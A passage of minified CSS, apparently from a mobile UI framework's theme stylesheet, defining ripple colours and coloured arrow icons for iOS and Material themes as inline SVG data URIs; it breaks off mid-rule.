.ripple-wave{background-color:rgba(158,158,158,.3)}.md .ripple-color-white .ripple-wave,.md .ripple-white .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-black .ripple-wave,.md .ripple-color-black .ripple-wave{background-color:rgba(0,0,0,.3)}i.icon{display:inline-block;vertical-align:middle;background-size:100% auto;background-position:center;background-repeat:no-repeat;font-style:normal;position:relative}.ios .icon-back,.ios .icon-prev{width:12px;height:20px}.ios .icon-forward,.ios .icon-next{width:12px;height:20px}.ios .icon-next,.ios .icon-prev{width:10px}.ios .icon-forward,.ios .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon-back,.ios .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .navbar .f7-icons,.ios .toolbar .f7-icons{font-size:22px}.ios .tabbar .f7-icons,.ios .tabbar-labels .f7-icons{font-size:25px}.ios .item-media .f7-icons{font-size:25px;width:29px;height:29px}.ios .button .f7-icons{font-size:22px}.ios .item-media .icon{color:grey}.ios .color-theme-red .icon-forward,.ios .color-theme-red .icon-next,.ios .icon-forward.color-red,.ios .icon-next.color-red,.ios a.link.color-red .icon-forward,.ios a.link.color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .icon-back,.ios .color-theme-red .icon-prev,.ios .icon-back.color-red,.ios .icon-prev.color-red,.ios a.link.color-red .icon-back,.ios a.link.color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-forward,.ios .color-theme-green .icon-next,.ios .icon-forward.color-green,.ios .icon-next.color-green,.ios a.link.color-green .icon-forward,.ios a.link.color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-back,.ios .color-theme-green .icon-prev,.ios .icon-back.color-green,.ios .icon-prev.color-green,.ios a.link.color-green .icon-back,.ios a.link.color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-forward,.ios .color-theme-blue .icon-next,.ios .icon-forward.color-blue,.ios .icon-next.color-blue,.ios a.link.color-blue .icon-forward,.ios a.link.color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-back,.ios .color-theme-blue .icon-prev,.ios .icon-back.color-blue,.ios .icon-prev.color-blue,.ios a.link.color-blue .icon-back,.ios a.link.color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-forward,.ios .color-theme-pink .icon-next,.ios .icon-forward.color-pink,.ios .icon-next.color-pink,.ios a.link.color-pink .icon-forward,.ios a.link.color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-back,.ios .color-theme-pink .icon-prev,.ios .icon-back.color-pink,.ios .icon-prev.color-pink,.ios a.link.color-pink .icon-back,.ios a.link.color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-forward,.ios .color-theme-yellow .icon-next,.ios .icon-forward.color-yellow,.ios .icon-next.color-yellow,.ios a.link.color-yellow .icon-forward,.ios a.link.color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-back,.ios .color-theme-yellow .icon-prev,.ios .icon-back.color-yellow,.ios .icon-prev.color-yellow,.ios a.link.color-yellow .icon-back,.ios a.link.color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-forward,.ios .color-theme-orange .icon-next,.ios .icon-forward.color-orange,.ios .icon-next.color-orange,.ios a.link.color-orange .icon-forward,.ios a.link.color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-back,.ios .color-theme-orange .icon-prev,.ios .icon-back.color-orange,.ios .icon-prev.color-orange,.ios a.link.color-orange .icon-back,.ios a.link.color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-forward,.ios .color-theme-gray .icon-next,.ios .icon-forward.color-gray,.ios .icon-next.color-gray,.ios a.link.color-gray .icon-forward,.ios a.link.color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-back,.ios .color-theme-gray .icon-prev,.ios .icon-back.color-gray,.ios .icon-prev.color-gray,.ios a.link.color-gray .icon-back,.ios a.link.color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-forward,.ios .color-theme-white .icon-next,.ios .icon-forward.color-white,.ios .icon-next.color-white,.ios a.link.color-white .icon-forward,.ios a.link.color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-back,.ios .color-theme-white .icon-prev,.ios .icon-back.color-white,.ios .icon-prev.color-white,.ios a.link.color-white .icon-back,.ios a.link.color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-forward,.ios .color-theme-black .icon-next,.ios .icon-forward.color-black,.ios .icon-next.color-black,.ios a.link.color-black .icon-forward,.ios a.link.color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-back,.ios .color-theme-black .icon-prev,.ios .icon-back.color-black,.ios .icon-prev.color-black,.ios a.link.color-black .icon-back,.ios a.link.color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon.color-red{color:#ff3b30}.ios .icon.color-green{color:#4cd964}.ios .icon.color-blue{color:#007aff}.ios .icon.color-pink{color:#ff2d55}.ios .icon.color-yellow{color:#fc0}.ios .icon.color-orange{color:#ff9500}.ios .icon.color-gray{color:#8e8e93}.ios .icon.color-white{color:#fff}.ios .icon.color-black{color:#000}.md .icon-back{width:24px;height:24px}.md .icon-forward{width:24px;height:24px}.md .icon-next,.md .icon-prev{width:24px;height:24px}.md .item-media .icon{color:#737373}.md .item-media .material-icons{font-size:24px;width:24px;height:24px}.md .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-red,.md a.link .color-red .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-red,.md a.link .color-red .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-red,.md a.link .color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-red,.md a.link .color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-green,.md a.link .color-green .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-green,.md a.link .color-green .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-green,.md a.link .color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-green,.md a.link .color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-blue,.md a.link .color-blue .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-blue,.md a.link .color-blue .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-blue,.md a.link .color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-blue,.md a.link .color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-pink,.md a.link .color-pink .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-pink,.md a.link .color-pink 